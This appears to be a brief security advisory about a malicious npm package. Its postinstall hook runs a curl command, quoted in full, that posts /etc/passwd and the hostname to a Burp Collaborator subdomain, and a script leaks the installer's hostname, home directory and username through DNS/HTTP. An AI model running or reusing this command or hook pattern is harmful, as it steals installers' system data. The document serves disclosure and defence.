GCVE-110-OSM-2026-10543

On `npm install`, package.json's postinstall hook executes `node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`, sending the installer's /etc/passwd contents and hostname to a Burp Collaborator subdomain. In parallel, scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues a fetch to `http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com`, leaking installer host identity through DNS/HTTP to the attacker. Both behaviors fire automatically and unconditionally on default install. ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages - Brand New Package - Publisher Shows Burner-Account Pattern